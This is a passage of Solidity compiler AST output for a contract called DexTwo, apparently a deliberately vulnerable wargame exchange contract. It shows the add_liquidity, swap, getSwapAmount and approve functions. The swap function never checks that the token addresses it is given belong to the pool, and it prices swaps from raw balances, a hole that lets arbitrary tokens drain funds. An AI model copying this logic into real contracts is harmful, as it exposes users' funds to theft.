,"nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51054,"src":"571:13:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51061,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"564:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51063,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"564:21:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51064,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"586:12:69","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"564:34:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":51072,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"564:69:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51073,"nodeType":"ExpressionStatement","src":"564:69:69"}]},"functionSelector":"264e8893","implemented":true,"kind":"function","modifiers":[{"id":51059,"kind":"modifierInvocation","modifierName":{"id":51058,"name":"onlyOwner","nameLocations":["544:9:69"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"544:9:69"},"nodeType":"ModifierInvocation","src":"544:9:69"}],"name":"add_liquidity","nameLocation":"484:13:69","parameters":{"id":51057,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51054,"mutability":"mutable","name":"token_address","nameLocation":"506:13:69","nodeType":"VariableDeclaration","scope":51075,"src":"498:21:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51053,"name":"address","nodeType":"ElementaryTypeName","src":"498:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51056,"mutability":"mutable","name":"amount","nameLocation":"529:6:69","nodeType":"VariableDeclaration","scope":51075,"src":"521:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51055,"name":"uint256","nodeType":"ElementaryTypeName","src":"521:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"497:39:69"},"returnParameters":{"id":51060,"nodeType":"ParameterList","parameters":[],"src":"554:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51143,"nodeType":"FunctionDefinition","src":"646:414:69","nodes":[],"body":{"id":51142,"nodeType":"Block","src":"709:351:69","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51093,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":51089,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"750:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51090,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"754:6:69","memberName":"sender","nodeType":"MemberAccess","src":"750:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":51086,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51077,"src":"734:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51085,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"727:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51087,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"727:12:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51088,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"740:9:69","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"727:22:69","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51091,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"727:34:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":51092,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51081,"src":"765:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"727:44:69","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420656e6f75676820746f2073776170","id":51094,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"773:20:69","typeDescriptions":{"typeIdentifier":"t_stringliteral_68246103c1af9f868e02771dfde8a2d9eada4e23252186e1bbb1f04b5d2267cc","typeString":"literal_string \"Not enough to swap\""},"value":"Not enough to swap"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_68246103c1af9f868e02771dfde8a2d9eada4e23252186e1bbb1f04b5d2267cc","typeString":"literal_string \"Not enough to swap\""}],"id":51084,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"719:7:69","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51095,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"719:75:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51096,"nodeType":"ExpressionStatement","src":"719:75:69"},{"assignments":[51098],"declarations":[{"constant":false,"id":51098,"mutability":"mutable","name":"swapAmount","nameLocation":"812:10:69","nodeType":"VariableDeclaration","scope":51142,"src":"804:18:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51097,"name":"uint256","nodeType":"ElementaryTypeName","src":"804:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":51104,"initialValue":{"arguments":[{"id":51100,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51077,"src":"839:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51101,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51079,"src":"845:2:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51102,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51081,"src":"849:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51099,"name":"getSwapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51179,"src":"825:13:69","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_address_$_t_uint256_$returns$_t_uint256_$","typeString":"function (address,address,uint256) view returns (uint256)"}},"id":51103,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"825:31:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"804:52:69"},{"expression":{"arguments":[{"expression":{"id":51109,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"892:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51110,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"896:6:69","memberName":"sender","nodeType":"MemberAccess","src":"892:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":51113,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"912:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51112,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"904:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51111,"name":"address","nodeType":"ElementaryTypeName","src":"904:7:69","typeDescriptions":{}}},"id":51114,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"904:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51115,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51081,"src":"919:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51106,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51077,"src":"873:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51105,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"866:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51107,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"866:12:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51108,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"879:12:69","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"866:25:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":51116,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"866:60:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51117,"nodeType":"ExpressionStatement","src":"866:60:69"},{"expression":{"arguments":[{"arguments":[{"id":51124,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"963:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51123,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"955:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51122,"name":"address","nodeType":"ElementaryTypeName","src":"955:7:69","typeDescriptions":{}}},"id":51125,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"955:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51126,"name":"swapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51098,"src":"970:10:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51119,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51079,"src":"943:2:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51118,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"936:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"936:10:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51121,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"947:7:69","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47926,"src":"936:18:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51127,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"936:45:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51128,"nodeType":"ExpressionStatement","src":"936:45:69"},{"expression":{"arguments":[{"arguments":[{"id":51135,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1023:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51134,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1015:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51133,"name":"address","nodeType":"ElementaryTypeName","src":"1015:7:69","typeDescriptions":{}}},"id":51136,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1015:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":51137,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1030:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51138,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1034:6:69","memberName":"sender","nodeType":"MemberAccess","src":"1030:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51139,"name":"swapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51098,"src":"1042:10:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51130,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51079,"src":"998:2:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51129,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"991:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51131,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"991:10:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51132,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1002:12:69","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"991:23:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":51140,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"991:62:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51141,"nodeType":"ExpressionStatement","src":"991:62:69"}]},"functionSelector":"df791e50","implemented":true,"kind":"function","modifiers":[],"name":"swap","nameLocation":"655:4:69","parameters":{"id":51082,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51077,"mutability":"mutable","name":"from","nameLocation":"668:4:69","nodeType":"VariableDeclaration","scope":51143,"src":"660:12:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51076,"name":"address","nodeType":"ElementaryTypeName","src":"660:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51079,"mutability":"mutable","name":"to","nameLocation":"682:2:69","nodeType":"VariableDeclaration","scope":51143,"src":"674:10:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51078,"name":"address","nodeType":"ElementaryTypeName","src":"674:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51081,"mutability":"mutable","name":"amount","nameLocation":"694:6:69","nodeType":"VariableDeclaration","scope":51143,"src":"686:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51080,"name":"uint256","nodeType":"ElementaryTypeName","src":"686:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"659:42:69"},"returnParameters":{"id":51083,"nodeType":"ParameterList","parameters":[],"src":"709:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51179,"nodeType":"FunctionDefinition","src":"1066:207:69","nodes":[],"body":{"id":51178,"nodeType":"Block","src":"1161:112:69","nodes":[],"statements":[{"expression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51175,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51164,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51154,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51149,"src":"1180:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"arguments":[{"arguments":[{"id":51161,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1218:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51160,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1210:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51159,"name":"address","nodeType":"ElementaryTypeName","src":"1210:7:69","typeDescriptions":{}}},"id":51162,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1210:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":51156,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51147,"src":"1196:2:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51155,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1189:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51157,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1189:10:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51158,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1200:9:69","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1189:20:69","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51163,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1189:35:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1180:44:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":51165,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1179:46:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"arguments":[{"arguments":[{"id":51172,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1259:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51171,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1251:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51170,"name":"address","nodeType":"ElementaryTypeName","src":"1251:7:69","typeDescriptions":{}}},"id":51173,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1251:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":51167,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51145,"src":"1235:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51166,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1228:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51168,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1228:12:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1241:9:69","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1228:22:69","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51174,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1228:37:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1179:86:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":51176,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1178:88:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":51153,"id":51177,"nodeType":"Return","src":"1171:95:69"}]},"functionSelector":"635bc0c2","implemented":true,"kind":"function","modifiers":[],"name":"getSwapAmount","nameLocation":"1075:13:69","parameters":{"id":51150,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51145,"mutability":"mutable","name":"from","nameLocation":"1097:4:69","nodeType":"VariableDeclaration","scope":51179,"src":"1089:12:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51144,"name":"address","nodeType":"ElementaryTypeName","src":"1089:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51147,"mutability":"mutable","name":"to","nameLocation":"1111:2:69","nodeType":"VariableDeclaration","scope":51179,"src":"1103:10:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51146,"name":"address","nodeType":"ElementaryTypeName","src":"1103:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51149,"mutability":"mutable","name":"amount","nameLocation":"1123:6:69","nodeType":"VariableDeclaration","scope":51179,"src":"1115:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51148,"name":"uint256","nodeType":"ElementaryTypeName","src":"1115:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1088:42:69"},"returnParameters":{"id":51153,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51152,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51179,"src":"1152:7:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51151,"name":"uint256","nodeType":"ElementaryTypeName","src":"1152:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1151:9:69"},"scope":51225,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":51207,"nodeType":"FunctionDefinition","src":"1279:208:69","nodes":[],"body":{"id":51206,"nodeType":"Block","src":"1336:151:69","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":51190,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1380:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51191,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1384:6:69","memberName":"sender","nodeType":"MemberAccess","src":"1380:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51192,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51181,"src":"1392:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51193,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51183,"src":"1401:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51187,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51028,"src":"1364:6:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51186,"name":"SwappableTokenTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51281,"src":"1346:17:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableTokenTwo_$51281_$","typeString":"type(contract 